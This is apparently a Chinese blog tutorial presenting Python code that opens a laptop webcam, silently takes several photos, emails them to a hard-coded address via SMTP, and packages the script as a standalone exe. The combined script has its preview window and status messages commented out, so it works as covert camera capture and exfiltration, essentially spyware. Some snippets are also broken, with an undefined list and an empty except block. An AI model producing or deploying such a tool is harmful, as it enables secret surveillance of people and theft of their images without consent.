python实现调用笔记本电脑自带摄像头并使用邮箱发送
申明:资料来源于网络及书本,通过理解、实践、整理成学习笔记,仅供学习。
使用的库
import cv2
import time
import os
import smtplib
安装命令
pip install opencv-python
pip install smtplib
调用摄像头
先创建目录用来存放图片
path = 'D:\cs\cs\cs'
isExists = os.path.exists(path)
if not isExists:
os.makedirs(path)
# print(path + '创建成功')
else:
pass
# print(目录已存在)
# 建立txt测试代码
with open("D:\cs\cs\cs\\test.txt", "w") as f:
f.write("这只是个测试")
调用笔记本自带的摄像头
笔记本自带的摄像头是0,想调用其它摄像头可改成1,2等
cap = cv2.VideoCapture(0, cv2.CAP_DSHOW) # 打开摄像头
ret, frame = cap.read()
frame = cv2.flip(frame, 1) # 将图像左右调换回来正常显示
# cv2.imshow("capture", frame) # 摄像头窗口
test = str(time.time()) + ".png" #用时间命名
tu.append(test)
cv2.imwrite("D:\cs\cs\cs\\" + test, frame) # 保存路径
cap.release()
发送邮件
打开 邮箱权限查看授权码

以下代码
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
# 邮箱收件人和发件人
receiver = "*****@163.com" #接收用邮箱
sender = "******@qq.com" #发送用邮箱
pwd = "*****" #邮箱授权码
msg = MIMEMultipart()
msg["Subject"] = "测试" # 邮件的主题
msg["From"] = sender
msg["To"] = receiver
part = MIMEText("这是照片") # 邮件的正文
msg.attach(part)
part = MIMEApplication(open(r"d:\cs\cs\cs\1619515774.87993881.png", 'rb').read()) # 'apple.jpg'和该.py文件在同一个文件夹下
part.add_header('Content-Disposition', 'attachment', filename="text.jpg")
msg.attach(part)
try:
s = smtplib.SMTP("smtp.qq.com", timeout=30) # 连接smtp邮件服务器,端口默认是25
s.ehlo()
s.starttls()
s.login(sender, pwd) # 登陆服务器
s.sendmail(sender, receiver, msg.as_string()) # 发送邮件
s.close()
print('邮件发送成功!')
except smtplib.SMTPException:
总结
将两个代码放在一起
其中的图片数以及读取间隔时间可以自行修改为最合适效果
#! /usr/bin/env python
# coding=utf-8
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
import cv2
import time
import os
# 邮箱收件人和发件人
receiver = "*****@163.com"
sender = "****@qq.com"
pwd = "*****"
msg = MIMEMultipart()
msg["Subject"] = "测试" # 邮件的主题
msg["From"] = sender
msg["To"] = receiver
part = MIMEText("这是照片") # 邮件的正文
msg.attach(part)
# 创建 d\cs\cs\cs目录
tu = [] # 存储图片名字
path = 'D:\cs\cs\cs'
isExists = os.path.exists(path)
if not isExists:
os.makedirs(path)
# print(path + '创建成功')
else:
pass
# print(path + '目录已存在')
with open("D:\cs\cs\cs\\test.txt", "w") as f:
f.write("这只是个测试")
cap = cv2.VideoCapture(0, cv2.CAP_DSHOW) # 打开摄像头
# 获取图片
for i in range(3):
ret, frame = cap.read()
frame = cv2.flip(frame, 1) # 将图像左右调换回来正常显示
# cv2.imshow("capture", frame) # 摄像头窗口
test = str(time.time()) + ".png"
tu.append(test)
cv2.imwrite("D:\cs\cs\cs\\" + test, frame) # 保存路径
# break
time.sleep(1)
# jpg类型附件
part = MIMEApplication(open("D:\cs\cs\cs\\" + test, 'rb').read())
part.add_header('Content-Disposition', 'attachment', filename=test + ".jpg")
msg.attach(part)
try:
s = smtplib.SMTP("smtp.qq.com", timeout=30) # 连接smtp邮件服务器,端口默认是25
s.ehlo()
s.starttls()
s.login(sender, pwd) # 登陆服务器
s.sendmail(sender, receiver, msg.as_string()) # 发送邮件
s.close()
# print('邮件发送成功!')
except smtplib.SMTPException:
pass
# print('邮件发送失败!')
cap.release()

打包成exe文件
使用库pyinstaller
下载命令
pip install pyinstaller
启动命令行窗口(可以按win+r 输入cmd)
使用cd命令进入 py文件所在目录
pyinstaller -F cs.py #将cs改为文件名
使用以上代码,最后可以在该目录dist文件夹找到exe程序
这篇博客介绍了如何使用Python结合OpenCV和smtplib库调用笔记本电脑的摄像头拍照,并将拍摄的图片通过电子邮件发送。首先,创建一个目录来存储图片,然后打开摄像头并翻转图像,保存图片。接着,配置邮件发送的相关信息,如收件人、发件人和授权码,创建邮件正文和附件,最后通过SMTP服务器发送邮件。整个过程将图片保存和邮件发送结合在一起,可以灵活调整图片数量和间隔时间。
1451

被折叠的 条评论
为什么被折叠?



